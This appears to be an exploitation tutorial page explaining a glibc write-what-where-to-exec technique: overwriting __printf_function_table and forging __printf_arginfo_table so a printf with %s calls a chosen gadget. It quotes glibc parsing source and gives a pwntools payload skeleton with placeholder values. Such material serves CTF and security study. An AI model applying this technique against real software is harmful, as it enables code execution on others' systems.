WWW2Exec - __printf_arginfo_table

Glibc allows users to register custom conversion specifiers (like %s, %d) for printf.

Prerequisites

  • Arbitrary write primitive in Glibc data.
  • Ability to trigger a printf path after overwrite.
  • Glibc base leak to resolve __printf_function_table / __printf_arginfo_table.

How it Works

When printf is called, it checks a global variable __printf_function_table. If it is non-NULL, it uses __printf_arginfo_table to find the handler function for the current specifier. 1. Overwrite __printf_function_table with a non-zero value (e.g., 1). 2. Forge a table at the address pointed to by __printf_arginfo_table. 3. In that table, at index ord('s') (0x73), place the address of your gadget or system.

size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,
                    struct printf_spec *spec, size_t *max_ref_arg,
                    bool *failed)
{
  // ...

  /* Get the format specification.  */
  spec->info.spec = (wchar_t) *format++;
  spec->size = -1;
  if (__builtin_expect (__printf_function_table == NULL, 1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table[spec->info.spec] == NULL
      /* We don't try to get the types for all arguments if the format
        uses more than one.  The normal case is covered though.  If
        the call returns -1 we continue with the normal specifiers.  */
      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
           (&spec->info, 1, &spec->data_arg_type,
            &spec->size)) < 0)
    {
      // ...
    }

  // ...
}

As can be seen, we need that __printf_arginfo_table is non-NULL, so that we can control the behavior of printf. The actual exploitable path is this call:

(*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type, &spec->size)

Exploitation

So, we need to set __printf_arginfo_table[spec->info.spec] to the function/address we want to call. Notice that spec->info.spec is the format specifier (e.g., 0x73 for %s, its ASCII value). As a result, when printf is called with %s as a format specifier, spec->info.spec will be 0x73, so we need to set __printf_arginfo_table[0x73] to the function/address we want to call.

An example payload could be:

from pwn import *

context.binary = ...

def arb_write(addr, val):
    pass

one_gadget = ...
__printf_function_table_addr = ...
__printf_arginfo_table_addr = __printf_function_table_addr + 8

fake___printf_arginfo_table_addr = ...

arb_write(fake___printf_arginfo_table_addr + ord('s') * 8, one_gadget)
arb_write(__printf_arginfo_table_addr, fake___printf_arginfo_table_addr)
arb_write(__printf_function_table_addr, 1)

References